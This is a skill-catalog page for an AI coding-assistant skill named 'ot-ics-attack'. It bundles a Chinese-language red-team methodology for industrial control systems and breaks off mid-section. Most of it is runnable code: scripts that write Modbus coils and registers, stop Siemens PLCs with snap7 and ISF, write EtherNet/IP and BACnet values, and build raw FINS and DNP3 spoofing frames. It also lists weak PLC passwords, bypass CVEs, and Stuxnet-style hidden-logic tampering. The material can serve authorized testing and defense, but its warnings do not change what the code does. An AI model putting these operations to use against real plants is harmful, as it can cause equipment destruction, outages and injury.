
Ot Ics Attack
- 11 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
ot-ics-attack is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- ot-ics-attack
- AI & Agent Building
- AI-coding skill
Ot Ics Attack by the numbers
- 11 all-time installs (skills.sh)
- Ranked #11,740 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill ot-ics-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 11 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
OT/ICS 工控系统攻击方法论
⛔ 安全警告:OT 系统控制物理过程,错误操作可能导致设备损坏、环境灾难或人身伤害。仅在明确授权和安全隔离环境下测试!
⛔ 深入参考
- 工控协议利用详细 payload → references/ics-protocol-exploit.md
- PLC 攻击与固件分析 → references/plc-attack.md
---
Phase 0: OT 环境理解
Purdue 模型(网络分层)
Level 5: Enterprise Network (IT)
Level 4: Business Planning (ERP/MES)
━━━━━━━━━━━ DMZ / IT-OT 边界 ━━━━━━━━━━━
Level 3: Site Operations (Historian/SCADA Server)
Level 2: Area Control (HMI/Engineering WS)
Level 1: Basic Control (PLC/RTU/DCS)
Level 0: Physical Process (传感器/执行器)
攻击路径通常: Level 5 → 4 → DMZ → 3 → 2 → 1 → 0
关键突破点: IT/OT 边界(DMZ 配置错误)常见工控协议
| 协议 | 端口 | 认证 | 用途 |
|---|---|---|---|
| Modbus TCP | 502 | ⛔ 无 | PLC 读写寄存器 |
| DNP3 | 20000 | 可选 | 电力 SCADA |
| OPC UA | 4840 | 有 | 数据访问 |
| EtherNet/IP | 44818 | ⛔ 无 | Rockwell PLC |
| S7comm | 102 | ⛔ 无 | Siemens PLC |
| BACnet | 47808 | ⛔ 无 | 楼宇自控 |
| FINS | 9600 | ⛔ 无 | Omron PLC |
Phase 1: 信息收集(被动优先)
# Shodan 搜索暴露的 ICS 设备
shodan search "port:502 product:Modbus"
shodan search "port:102 product:S7"
shodan search "port:44818 product:EtherNet/IP"
shodan search "port:47808 product:BACnet"
# 目标网络扫描(⛔ 仅在授权后,使用低速率)
nmap -sT -Pn -p 102,502,4840,20000,44818,47808 --scan-delay 500ms TARGET_RANGE
# 被动流量分析(如果有镜像端口)
tcpdump -i eth0 -w ics_traffic.pcap port 502 or port 102 or port 44818
# Wireshark 工控协议解析
# 内置支持: Modbus, DNP3, OPC UA, S7comm, EtherNet/IPPhase 2: 工控协议利用
2.1 Modbus TCP(无认证!)
#!/usr/bin/env python3
"""Modbus TCP 读写操作 — 无需认证"""
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('TARGET_IP', port=502)
client.connect()
# 读取保持寄存器(获取当前值/配置)
result = client.read_holding_registers(address=0, count=10, slave=1)
print(f"Registers: {result.registers}")
# 读取线圈状态(数字输出状态)
result = client.read_coils(address=0, count=10, slave=1)
print(f"Coils: {result.bits}")
# ⛔ 写入操作(改变物理过程!仅在安全环境)
# 写单个寄存器
client.write_register(address=0, value=100, slave=1)
# 写单个线圈(开关控制)
client.write_coil(address=0, value=True, slave=1) # 开
client.write_coil(address=0, value=False, slave=1) # 关
client.close()2.2 Siemens S7comm
#!/usr/bin/env python3
"""S7comm 协议交互 — Siemens S7-300/400/1200/1500"""
import snap7
# 连接 PLC
plc = snap7.client.Client()
plc.connect('TARGET_IP', rack=0, slot=1) # S7-300: slot=2
# 读取 PLC 信息
info = plc.get_cpu_info()
print(f"Module: {info.ModuleTypeName}")
print(f"Serial: {info.SerialNumber}")
# 读取数据块 (DB)
data = plc.db_read(db_number=1, start=0, size=100)
print(f"DB1 data: {data.hex()}")
# 读取输入/输出
inputs = plc.read_area(snap7.types.Areas.PE, 0, 0, 10) # 输入
outputs = plc.read_area(snap7.types.Areas.PA, 0, 0, 10) # 输出
# ⛔ 危险操作(仅安全环境)
# 停止 PLC
plc.plc_stop()
# 启动 PLC
plc.plc_cold_start()
plc.disconnect()2.3 EtherNet/IP (Rockwell/Allen-Bradley)
#!/usr/bin/env python3
"""EtherNet/IP CIP 协议 — 无认证"""
from pycomm3 import LogixDriver
with LogixDriver('TARGET_IP') as plc:
# 读取标签值
result = plc.read('MyTag')
print(f"Tag value: {result.value}")
# 读取多个标签
results = plc.read('Tag1', 'Tag2', 'Tag3')
for r in results:
print(f"{r.tag}: {r.value}")
# 获取 PLC 信息
info = plc.get_plc_info()
print(f"Product: {info['product_name']}")
# 列出所有标签(信息收集)
tags = plc.get_tag_list()
for tag in tags:
print(f" {tag['tag_name']}: {tag['data_type_name']}")
# ⛔ 写入
# plc.write('MotorSpeed', 1000)Phase 3: HMI/SCADA 服务器攻击
HMI/SCADA 常见漏洞:
├─ 默认凭据(admin/admin, administrator/空)
├─ 未加密通信(Modbus/OPC DA 明文)
├─ Web HMI SQL注入/XSS
├─ VNC 无密码暴露
├─ RDP 弱口令(Level 2/3 工作站)
├─ 过时操作系统(Windows XP/7/2008 仍在用)
└─ 未更新的 SCADA 软件(已知 CVE)
常见 SCADA 软件:
├─ Siemens WinCC → CVE 众多
├─ GE iFix / CIMPLICITY
├─ Schneider ClearSCADA
├─ Wonderware InTouch
├─ Ignition (Inductive Automation)
└─ Kepware KEPServerEX (OPC)Phase 4: IT/OT 边界突破
从 IT 网络进入 OT:
├─ 跳板: Historian 服务器(同时连接 IT 和 OT)
├─ 双网卡工作站(Level 3 操作员电脑)
├─ VPN/远程访问通道(TeamViewer/AnyDesk 在 HMI 上)
├─ 共享文件服务器(IT/OT 共享)
├─ 数据库服务器(MES/ERP 连接到 OT)
└─ 防火墙规则宽松(OT→IT 无限制回连)Phase 5: 攻击影响评估
⛔ OT 攻击的潜在物理影响:
├─ 改变 PLC 逻辑 → 物理过程失控
├─ 修改 HMI 显示 → 操作员看到假数据(Stuxnet 手法)
├─ 停止 PLC → 生产停摆
├─ 修改安全限值 → 越过安全阈值
└─ 同时攻击 SIS(安全仪表系统) + PLC → 最危险
红队测试中的安全约束:
├─ ⛔ NEVER 修改 SIS (Safety Instrumented System)
├─ ⛔ NEVER 在生产系统上测试写入操作
├─ ✓ 仅读取操作验证可达性
├─ ✓ 在独立测试环境中验证写入
└─ ✓ 随时与运维团队保持通信工具速查
| 工具 | 用途 |
|---|---|
| pymodbus | Modbus TCP 客户端 |
| python-snap7 | Siemens S7 通信 |
| pycomm3 | EtherNet/IP CIP |
| Wireshark + ICS dissectors | 协议分析 |
| PLCScan | PLC 枚举 |
| ISF (Industrial Exploitation Framework) | ICS 利用框架 |
| GRASSMARLIN | OT 网络拓扑发现 |
| Shodan/Censys | 暴露面发现 |
关联技能
- 红队评估 →
/skill:red-team-assessment - 内网侦察 →
/skill:internal-recon - 默认凭据扫描 →
/skill:default-cred-sweep - APT 模拟 →
/skill:apt-emulation(Sandworm/Triton 模拟)
工控协议利用详细参考
⛔ 安全警告: 工控协议操作可直接影响物理过程。所有写入操作仅限安全隔离的测试环境!
---
一、Modbus TCP 高级利用
1.1 Function Code 完整列表
| FC | 名称 | 类型 | 说明 |
|---|---|---|---|
| 01 | Read Coils | 读 | 读取离散输出状态 (DO) |
| 02 | Read Discrete Inputs | 读 | 读取离散输入状态 (DI) |
| 03 | Read Holding Registers | 读 | 读取保持寄存器 (AO) |
| 04 | Read Input Registers | 读 | 读取输入寄存器 (AI) |
| 05 | Write Single Coil | 写 | 写单个线圈 |
| 06 | Write Single Register | 写 | 写单个保持寄存器 |
| 07 | Read Exception Status | 诊断 | 读异常状态 |
| 08 | Diagnostics | 诊断 | 多种诊断子功能 |
| 11 | Get Comm Event Counter | 诊断 | 通信事件计数器 |
| 12 | Get Comm Event Log | 诊断 | 通信事件日志 |
| 15 | Write Multiple Coils | 写 | 批量写线圈 ⛔ |
| 16 | Write Multiple Registers | 写 | 批量写寄存器 ⛔ |
| 17 | Report Server ID | 诊断 | 读取设备标识 |
| 20 | Read File Record | 读 | 读取文件记录 |
| 21 | Write File Record | 写 | 写入文件记录 |
| 22 | Mask Write Register | 写 | 掩码写寄存器 |
| 23 | Read/Write Multiple Registers | 读写 | 同时读写多寄存器 |
| 43 | Read Device Identification | 读 | MEI — 读取设备信息 |
1.2 批量操作(危险)
#!/usr/bin/env python3
"""Modbus TCP 批量操作 — ⛔ 仅安全环境"""
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('TARGET_IP', port=502)
client.connect()
# FC15: 批量写线圈(同时控制多个数字输出)
# 将地址 0-9 的线圈全部置 True(开启 10 个输出)
client.write_coils(address=0, values=[True]*10, slave=1)
# FC16: 批量写寄存器(同时修改多个模拟量设定值)
# 将地址 0-4 的保持寄存器写入指定值
client.write_registers(address=0, values=[100, 200, 300, 400, 500], slave=1)
# FC23: 同时读写(原子操作)
# 读取地址 0-4,同时写入地址 10-14
result = client.readwrite_registers(
read_address=0, read_count=5,
write_address=10, write_registers=[1000, 2000, 3000, 4000, 5000],
slave=1
)
print(f"Read: {result.registers}")
client.close()1.3 Unit ID 枚举
#!/usr/bin/env python3
"""Modbus Unit ID 枚举 — 发现所有从站设备"""
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('TARGET_IP', port=502, timeout=2)
client.connect()
print("[*] Enumerating Modbus Unit IDs (0-255)...")
for uid in range(256):
try:
result = client.read_holding_registers(address=0, count=1, slave=uid)
if not result.isError():
print(f" [+] Unit ID {uid}: registers = {result.registers}")
except Exception:
pass
client.close()1.4 mbtget 工具
# 安装
cargo install mbtget
# 或 pip install mbtget
# 读取保持寄存器
mbtget -r3 -n 10 -u 1 TARGET_IP # FC03, 读 10 个寄存器, Unit ID=1
# 读取线圈
mbtget -r1 -n 20 -u 1 TARGET_IP # FC01, 读 20 个线圈
# 写单个寄存器
mbtget -w6 -a 0 -v 1234 -u 1 TARGET_IP # FC06, 地址 0, 值 1234
# 写单个线圈
mbtget -w5 -a 0 -v 1 -u 1 TARGET_IP # FC05, 地址 0, ON---
二、DNP3 利用
2.1 DNP3 协议特点
DNP3 (Distributed Network Protocol 3):
├─ 主要用于电力 SCADA 系统
├─ 支持 Unsolicited Response(从站主动上报)
├─ 支持 Secure Authentication (SA) — 但大多数部署未启用
├─ 默认端口: 20000
└─ 支持 TCP 和 UDP
安全问题:
├─ 无认证(大多数部署)→ 任何人可发送命令
├─ 无加密 → 中间人可篡改
├─ Unsolicited Response → 可伪造数据上报
└─ 控制命令直接影响物理设备(断路器、继电器)2.2 DNP3 Unsolicited Response 注入
#!/usr/bin/env python3
"""DNP3 Unsolicited Response 注入 — 伪造数据上报"""
# 需要 pydnp3 或 scapy 扩展
from scapy.all import *
# 构造 DNP3 数据帧(简化示例)
# 实际需要完整的 DNP3 Transport + Application 层构造
# 目标: 向 SCADA Master 发送伪造的设备状态
# DNP3 Link Layer
dnp3_header = bytes([
0x05, 0x64, # Start bytes
0x17, # Length
0xC4, # Control (Unconfirmed User Data, DIR=1, PRM=0)
0x01, 0x00, # Destination (Master)
0x0A, 0x00, # Source (伪装成 Outstation)
])
# ⛔ 完整利用需要:
# 1. 嗅探现有 DNP3 通信获取地址信息
# 2. 构造正确的 Application Layer 对象
# 3. 注入 Unsolicited Response 更改显示值
# 4. SCADA HMI 显示虚假数据 → 操作员误判2.3 DNP3 控制继电器
DNP3 CROB (Control Relay Output Block) 操作:
├─ Object Group 12 Variation 1 — CROB
├─ Control Code:
│ ├─ 0x03 — Latch On(闭合)
│ ├─ 0x04 — Latch Off(断开)
│ ├─ 0x01 — Pulse On
│ └─ 0x02 — Pulse Off
├─ 操作模式:
│ ├─ Select-Before-Operate (SBO) — 两步确认
│ └─ Direct Operate — 直接执行
│
└─ ⛔ 控制断路器可导致:
├─ 区域停电
├─ 设备过载损坏
└─ 级联故障(2015 乌克兰电网攻击)---
三、OPC UA 攻击
3.1 认证绕过
OPC UA Security Mode:
├─ None — 无安全 ⛔ 直接连接
├─ Sign — 签名但不加密
├─ SignAndEncrypt — 签名+加密(推荐但很多部署未用)
Authentication Policy:
├─ Anonymous — 匿名访问 ⛔
├─ Username/Password — 密码认证
├─ Certificate — 证书认证
└─ Kerberos — Kerberos 集成
常见漏洞:
├─ Anonymous policy 开启 → 无需凭据直接连接
├─ 弱密码 → admin/admin, user/user
├─ 自签名证书 → 信任链可操纵
└─ 旧版本 OPC UA stack → CVE 漏洞3.2 OPC UA 利用脚本
#!/usr/bin/env python3
"""OPC UA 连接与节点操作"""
from opcua import Client
# 匿名连接
client = Client("opc.tcp://TARGET_IP:4840")
# client.set_user("admin") # 如需认证
# client.set_password("admin")
try:
client.connect()
print("[+] Connected to OPC UA Server")
# 获取根节点
root = client.get_root_node()
objects = client.get_objects_node()
# 递归浏览节点树(信息收集)
def browse_nodes(node, depth=0):
for child in node.get_children():
name = child.get_browse_name()
node_class = child.get_node_class()
print(f"{' '*depth}{name} [{node_class}]")
if depth < 3:
browse_nodes(child, depth+1)
browse_nodes(objects)
# 读取特定节点值
# NodeId 格式: ns=<namespace>;s=<string_id> 或 ns=<namespace>;i=<int_id>
var_node = client.get_node("ns=2;s=TemperatureSensor1")
value = var_node.get_value()
print(f"[*] Temperature: {value}")
# ⛔ 写入节点值(仅安全环境)
# var_node.set_value(ua.DataValue(ua.Variant(99.9, ua.VariantType.Double)))
finally:
client.disconnect()3.3 证书信任链操纵
OPC UA 证书攻击:
├─ 1. 提取服务器证书
│ 连接时服务器发送自签名证书
├─ 2. 检查信任配置
│ 很多实现 Accept All Certificates(信任所有)
├─ 3. 中间人攻击
│ 如果 Security Mode = None → 无加密 → 直接嗅探/篡改
│ 如果使用自签名证书且客户端不验证 → MITM 可行
├─ 4. 伪造客户端证书
│ 生成自签名证书 → 如果服务器信任所有 → 直接连接
└─ 5. 提取证书密钥
某些实现将私钥存储在明文配置文件中---
四、BACnet 利用
4.1 Who-Is / I-Am 欺骗
#!/usr/bin/env python3
"""BACnet 设备发现与属性读写"""
import BAC0
# 发送 Who-Is 广播发现 BACnet 设备
bacnet = BAC0.lite(ip='YOUR_IP/24', port=47808)
# Who-Is — 发现局域网中所有 BACnet 设备
# 设备会回复 I-Am 包含: Device Instance, MAC, Network
discovered = bacnet.whois()
for device in discovered:
print(f"[+] Device: {device}")
# 读取属性值
# Read Property: Device_Instance, Object_Type, Object_Instance, Property
# 示例: 读取温度传感器当前值
value = bacnet.read('TARGET_IP analog-input 1 present-value')
print(f"[*] Temperature: {value}")
# 读取设备信息
device_name = bacnet.read('TARGET_IP device 100 object-name')
vendor = bacnet.read('TARGET_IP device 100 vendor-name')
model = bacnet.read('TARGET_IP device 100 model-name')
print(f"[*] Device: {device_name} | Vendor: {vendor} | Model: {model}")
# ⛔ 写入 Present-Value(修改设定值/输出)
# bacnet.write('TARGET_IP analog-output 1 present-value 25.0')
# bacnet.write('TARGET_IP binary-output 1 present-value active') # 开启
bacnet.disconnect()4.2 BACnet 攻击面
BACnet 安全问题:
├─ 无认证 → 任何人可读写属性
├─ Who-Is 广播 → 被动发现所有设备
├─ Present-Value 写入 → 直接控制 HVAC/照明/门禁
├─ I-Am 欺骗 → 伪装成合法设备,拦截控制命令
├─ Schedule 修改 → 篡改自动化时间表
└─ 优先级数组操作 → 覆盖手动操作的控制值
楼宇自控攻击场景:
├─ 修改温度设定 → HVAC 系统异常 → 数据中心过热
├─ 操控门禁 → 解锁物理访问
├─ 修改照明 → 社会工程/物理入侵配合
└─ 消防系统 → 触发/禁用报警 ⛔ 极其危险---
五、FINS/Omron 利用
5.1 Memory Area Read/Write
#!/usr/bin/env python3
"""Omron FINS 协议操作"""
import socket
import struct
class FINSClient:
def __init__(self, host, port=9600):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.connect((host, port))
def fins_tcp_header(self, command_data):
"""FINS/TCP 头部"""
header = b'FINS' # Magic
header += struct.pack('>I', len(command_data) + 8) # Length
header += struct.pack('>I', 0x00000002) # Command (FINS frame send)
header += struct.pack('>I', 0x00000000) # Error code
return header + command_data
def read_memory(self, area_code, address, count):
"""
读取内存区域
area_code: 0x82=DM, 0x80=CIO, 0xB0=WR, 0x31=EM
"""
# FINS Command: Memory Area Read (0x0101)
fins_header = bytes([
0x80, 0x00, 0x02, # ICF, RSV, GCT
0x00, # DNA (Destination Network)
0x00, # DA1 (Destination Node)
0x00, # DA2 (Destination Unit)
0x00, # SNA (Source Network)
0x01, # SA1 (Source Node)
0x00, # SA2 (Source Unit)
0x00, # SID (Service ID)
0x01, 0x01, # Command: Memory Area Read
])
# Area address
fins_header += bytes([area_code])
fins_header += struct.pack('>H', address) # Start address
fins_header += bytes([0x00]) # Bit offset
fins_header += struct.pack('>H', count) # Count
packet = self.fins_tcp_header(fins_header)
self.sock.sendall(packet)
response = self.sock.recv(4096)
return response
def write_memory(self, area_code, address, data):
"""⛔ 写入内存区域 — 仅安全环境"""
fins_header = bytes([
0x80, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x01, 0x02, # Command: Memory Area Write
])
fins_header += bytes([area_code])
fins_header += struct.pack('>H', address)
fins_header += bytes([0x00])
fins_header += struct.pack('>H', len(data) // 2)
fins_header += data
packet = self.fins_tcp_header(fins_header)
self.sock.sendall(packet)
return self.sock.recv(4096)
# 使用示例
# client = FINSClient('TARGET_IP')
# result = client.read_memory(0x82, 0, 10) # 读取 DM0-DM95.2 PLC 模式切换
FINS 模式切换命令:
├─ 0x0401 — Run → 切换到运行模式
├─ 0x0402 — Stop → 停止 PLC ⛔
├─ 0x0501 — Read Controller Data → 获取型号/版本
├─ 0x0601 — Read Controller Status → 读取运行状态
└─ 0x0701 — Clock Read → 读取 PLC 时钟
⛔ Stop PLC 会立即停止所有控制逻辑 → 物理过程失控---
六、ISF (Industrial Exploitation Framework)
# 安装 ISF
git clone https://github.com/dark-lbp/isf.git
cd isf
pip3 install -r requirements.txt
# 启动
python3 isf.py
# 基本命令
isf > show exploits # 列出所有利用模块
isf > show scanners # 列出扫描模块
# Modbus 扫描
isf > use scanners/modbus_tcp_scanner
isf > set target TARGET_IP
isf > run
# S7 扫描
isf > use scanners/s7_scanner
isf > set target TARGET_RANGE
isf > run
# S7-300 Stop CPU
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf > set target TARGET_IP
isf > set command 1 # 1=stop, 2=warm_start, 3=cold_start
isf > run
# EtherNet/IP 扫描
isf > use scanners/ethernetip_scanner
isf > set target TARGET_RANGE
isf > run---
七、协议攻击速查表
协议攻击选择:
├─ Modbus TCP (502)
│ ├─ 无认证 → 直接读写
│ ├─ FC03 读寄存器 → 信息收集
│ ├─ FC16 批量写 → 批量修改设定值
│ └─ Unit ID 枚举 → 发现所有从站
│
├─ S7comm (102)
│ ├─ S7-300/400 无认证 → snap7 直接连接
│ ├─ 读取 CPU 信息/DB 块 → 理解控制逻辑
│ ├─ plc_stop() → 停止 PLC
│ └─ S7-1200/1500 有密码保护 → 需密码或绕过
│
├─ EtherNet/IP (44818)
│ ├─ 无认证 → pycomm3 直接连接
│ ├─ get_tag_list() → 列出所有变量
│ ├─ read() / write() → 读写标签值
│ └─ 支持结构化数据类型
│
├─ DNP3 (20000)
│ ├─ 控制命令 → 操作继电器/断路器
│ ├─ Unsolicited Response → 注入虚假数据
│ └─ 需要了解站点地址配置
│
├─ OPC UA (4840)
│ ├─ 检查 Security Mode → None = 无安全
│ ├─ 检查 Authentication → Anonymous = 无认证
│ ├─ 浏览节点树 → 发现可读写变量
│ └─ 证书操纵 → MITM
│
├─ BACnet (47808/udp)
│ ├─ Who-Is 广播 → 发现所有设备
│ ├─ Read Property → 读取传感器值
│ ├─ Write Property → 修改设定值
│ └─ 楼宇自控系统控制
│
└─ FINS (9600)
├─ Memory Area Read → 读取 PLC 内存
├─ Memory Area Write → 写入值
└─ PLC Stop → 停止控制器
⛔ 安全约束:
├─ 信息收集(读取)→ 低风险 → 可在评估中进行
├─ 写入操作 → 高风险 → 仅在隔离测试环境
├─ 停止 PLC → 极高风险 → 需运维团队在场
└─ NEVER 触碰 SIS (Safety Instrumented System)---
参考链接
PLC 攻击与固件分析
⛔ 安全警告: PLC 直接控制物理过程。所有攻击操作仅限安全隔离的测试环境。NEVER 修改 SIS (Safety Instrumented System)!
---
一、Siemens S7 系列攻击
1.1 S7-300/400(S7comm 协议,无认证)
S7-300/400 特征:
├─ 使用 S7comm 协议(端口 102)
├─ ⛔ 无任何认证机制 → 直接读写
├─ 通过 TSAP(Transport Service Access Point)连接
│ S7-300: Rack=0, Slot=2
│ S7-400: Rack=0, Slot=3(或其他)
├─ 支持: CPU 信息读取、DB 读写、程序上传/下载、Start/Stop
└─ 仍在大量工业环境中运行#!/usr/bin/env python3
"""Siemens S7-300/400 完整操作"""
import snap7
plc = snap7.client.Client()
# 连接(S7-300: slot=2, S7-400: slot=3)
plc.connect('TARGET_IP', rack=0, slot=2)
# === 信息收集 ===
# CPU 信息
info = plc.get_cpu_info()
print(f"Module Type: {info.ModuleTypeName}")
print(f"Serial: {info.SerialNumber}")
print(f"Module Name: {info.ModuleName}")
print(f"Copyright: {info.Copyright}")
# CPU 状态
state = plc.get_cpu_state()
print(f"CPU State: {state}") # S7CpuStatusRun / S7CpuStatusStop
# 读取保护等级
protection = plc.get_protection()
print(f"Protection Level: {protection}")
# === 数据块操作 ===
# 列出所有数据块
block_list = plc.list_blocks()
print(f"OB blocks: {block_list.OBCount}")
print(f"FB blocks: {block_list.FBCount}")
print(f"FC blocks: {block_list.FCCount}")
print(f"DB blocks: {block_list.DBCount}")
# 读取 DB 块数据
data = plc.db_read(db_number=1, start=0, size=100)
print(f"DB1 (hex): {data.hex()}")
# 解析 DB 数据(需要知道数据结构)
import struct
# 示例: DB1 offset 0 = REAL (4 bytes), offset 4 = INT (2 bytes)
temp = struct.unpack('>f', data[0:4])[0]
speed = struct.unpack('>h', data[4:6])[0]
print(f"Temperature: {temp:.1f}°C, Speed: {speed} RPM")
# === 内存区域读取 ===
# 输入映像 (I): 传感器状态
inputs = plc.read_area(snap7.types.Areas.PE, 0, 0, 10)
print(f"Inputs: {inputs.hex()}")
# 输出映像 (Q): 执行器状态
outputs = plc.read_area(snap7.types.Areas.PA, 0, 0, 10)
print(f"Outputs: {outputs.hex()}")
# 标志位 (M): 内部标志
markers = plc.read_area(snap7.types.Areas.MK, 0, 0, 10)
print(f"Markers: {markers.hex()}")
# === ⛔ 危险操作(仅安全测试环境)===
# 停止 CPU
# plc.plc_stop()
# 启动 CPU(冷启动/热启动)
# plc.plc_cold_start()
# plc.plc_hot_start()
# 写入 DB 数据
# data_to_write = struct.pack('>f', 50.0) # 写入温度设定值
# plc.db_write(db_number=1, start=0, data=data_to_write)
plc.disconnect()1.2 S7-1200/1500(S7comm+ 协议,密码保护)
S7-1200/1500 特征:
├─ 使用 S7comm+ 协议(增强版)
├─ 支持密码保护(Full Access Password / Read Password)
├─ TIA Portal 项目中配置的密码 → 可能是弱密码
├─ 某些版本存在已知 CVE 可绕过保护
└─ 仍然使用端口 102
密码保护等级:
├─ No Protection → 直接访问(和 S7-300 一样)
├─ Read Protection → 读取需密码
├─ Read/Write Protection → 读写都需密码
└─ Full Protection → 所有操作需密码# S7-1200/1500 密码连接
plc = snap7.client.Client()
plc.connect('TARGET_IP', rack=0, slot=1) # S7-1200: slot=1
# 尝试密码认证
try:
plc.set_session_password('password123') # 尝试常见弱密码
print("[+] Password accepted!")
except Exception as e:
print(f"[-] Password rejected: {e}")
# 常见默认/弱密码:
# (空), 1, 12, 123, 1234, 12345, 123456
# siemens, SIEMENS, admin, password, plc1.3 密码保护绕过
已知绕过方法:
├─ CVE-2019-13945 (S7-1200 v4.x)
│ 通过特殊 S7comm+ 数据包绕过 CPU 保护
│ → 无需密码直接读写 CPU 数据
│
├─ CVE-2020-15782 (S7-1200/1500)
│ 内存读写漏洞 → 绕过沙箱 → 执行任意机器码
│ → 可提取 PLC 固件、注入恶意代码
│
├─ Replay Attack
│ 嗅探合法 TIA Portal 连接 → 重放密码认证包
│ S7comm+ 密码以弱保护方式传输
│
└─ 密码提取
从 TIA Portal 项目文件 (.ap1x) 中提取密码
项目文件常存储在 Engineering Workstation 上
→ 入侵 EWS → 提取项目 → 获取 PLC 密码1.4 PLC Program Upload/Download
# 上传(读取)PLC 程序
# 读取 OB1(主程序块)
ob1_data = plc.full_upload(snap7.types.Block.BlockType['OB'], 1)
with open('OB1_backup.bin', 'wb') as f:
f.write(ob1_data)
# 读取所有 DB 块
for db_num in range(1, 100):
try:
db_data = plc.full_upload(snap7.types.Block.BlockType['DB'], db_num)
with open(f'DB{db_num}.bin', 'wb') as f:
f.write(db_data)
print(f"[+] DB{db_num}: {len(db_data)} bytes")
except Exception:
pass
# ⛔ 下载(写入)程序到 PLC
# 这是最危险的操作 — 可以完全改变 PLC 行为
# plc.plc_stop()
# plc.download(block_num=1, data=malicious_ob1, block_type=0x38)
# plc.plc_hot_start()---
二、Rockwell/Allen-Bradley 攻击
2.1 CompactLogix/ControlLogix
Rockwell 系列特征:
├─ 使用 EtherNet/IP + CIP (Common Industrial Protocol)
├─ 默认端口: 44818
├─ ⛔ 默认无认证(CIP Security 是后加的,大多数未启用)
├─ 基于 Tag(变量名)寻址 → 比 Modbus 的地址更直观
└─ 支持结构化数据类型(UDT)#!/usr/bin/env python3
"""Rockwell CompactLogix/ControlLogix 操作"""
from pycomm3 import LogixDriver
with LogixDriver('TARGET_IP') as plc:
# === 信息收集 ===
info = plc.get_plc_info()
print(f"Product Name: {info['product_name']}")
print(f"Product Type: {info['product_type']}")
print(f"Vendor: {info['vendor']}")
print(f"Serial: {info['serial']}")
print(f"Revision: {info['revision']}")
# 获取完整标签列表(关键信息收集步骤)
tags = plc.get_tag_list()
print(f"\n[*] Total tags: {len(tags)}")
for tag in tags:
print(f" {tag['tag_name']:30s} | Type: {tag['data_type_name']:15s} | "
f"Dim: {tag.get('dimensions', 0)}")
# === 读取标签值 ===
# 读取单个标签
result = plc.read('MotorSpeed')
print(f"\nMotorSpeed = {result.value} ({result.type})")
# 读取多个标签(批量)
results = plc.read('MotorSpeed', 'Temperature', 'PressureSP', 'EmergencyStop')
for r in results:
print(f" {r.tag} = {r.value}")
# 读取数组
result = plc.read('SensorArray', count=10)
print(f"SensorArray[0:10] = {result.value}")
# 读取 UDT(用户自定义类型)
result = plc.read('MotorController')
print(f"MotorController = {result.value}") # 返回字典
# === ⛔ 写入操作(仅安全环境)===
# plc.write('MotorSpeed', 1500)
# plc.write('EmergencyStop', False) # ⛔ 解除急停
# plc.write(('Tag1', 100), ('Tag2', 200)) # 批量写入2.2 EtherNet/IP CIP 枚举
#!/usr/bin/env python3
"""EtherNet/IP 设备发现"""
from pycomm3 import CIPDriver
# 发现网络上的 EtherNet/IP 设备
devices = CIPDriver.discover()
for device in devices:
print(f"[+] IP: {device['ip_address']}")
print(f" Product: {device.get('product_name', 'N/A')}")
print(f" Vendor: {device.get('vendor', 'N/A')}")
print(f" Serial: {device.get('serial', 'N/A')}")---
三、PLC Logic 篡改
3.1 Ladder Logic 注入
PLC 程序篡改方法:
├─ 1. 上传现有程序 → 逆向分析逻辑
├─ 2. 修改特定 rung(梯形图行)
├─ 3. 下载修改后的程序到 PLC
├─ 4. PLC 执行被篡改的逻辑
攻击目标示例:
├─ 修改安全限值 → 温度/压力阈值提高 → 超限不报警
├─ 添加后门逻辑 → 特定条件触发恶意操作
├─ 修改控制算法 → PID 参数错误 → 控制不稳定
└─ 隐藏定时器 → 延迟一段时间后触发异常3.2 隐藏恶意 OB 块(Stuxnet 技术)
Stuxnet 的 PLC 攻击手法:
├─ 1. 入侵 Engineering Workstation(EWS)
├─ 2. Hook TIA Portal / STEP 7 的通信库
│ ├─ 当工程师读取 PLC 程序时 → 返回原始(干净)版本
│ └─ 实际 PLC 中运行的是被篡改版本
│ → Man-in-the-Middle on Engineering Software
│
├─ 3. 注入恶意 OB 块
│ ├─ OB1(主循环)→ 添加恶意逻辑调用
│ ├─ OB35(定时中断)→ 定时执行恶意代码
│ └─ FC/FB(功能块)→ 隐藏恶意逻辑
│
├─ 4. 修改频率转换器控制参数
│ ├─ 正常: 1064 Hz → 修改为交替 1410 Hz 和 2 Hz
│ ├─ 离心机转速异常 → 物理损坏
│ └─ HMI 显示正常值(录制回放攻击)
│
└─ 5. 防检测
├─ Hook STEP 7 显示原始程序
├─ 只在特定条件下激活恶意逻辑
└─ 定期恢复正常运行 → 难以察觉3.3 Safety Logic Bypass 风险
⛔ ABSOLUTE RED LINE — NEVER TOUCH SIS:
Safety Instrumented System (SIS):
├─ 独立的安全控制器(如 Triconex, HIMA, Yokogawa ProSafe)
├─ 功能: 在危险条件下自动紧急停车
├─ 设计为独立于基本过程控制系统(BPCS)
└─ 修改 SIS 可导致:
├─ 爆炸/火灾无法自动停车
├─ 有毒物质泄露无法关闭阀门
├─ 人员伤亡
└─ 环境灾难
历史案例 — TRITON/TRISIS (2017):
├─ 攻击沙特石化工厂 Triconex SIS
├─ 注入恶意代码到安全控制器
├─ 目标: 禁用安全系统 → 然后触发危险条件
├─ 因 bug 导致 SIS 进入安全关机状态 → 被发现
└─ 如果成功 → 可能造成爆炸和人员伤亡
红队评估中:
├─ ✓ 可以验证 SIS 网络可达性(读取信息)
├─ ⛔ NEVER 写入任何数据到 SIS
├─ ⛔ NEVER 尝试修改 SIS 逻辑
└─ ✓ 记录发现并报告到风险评估---
四、PLC 固件分析
4.1 固件获取方法
获取固件的途径:
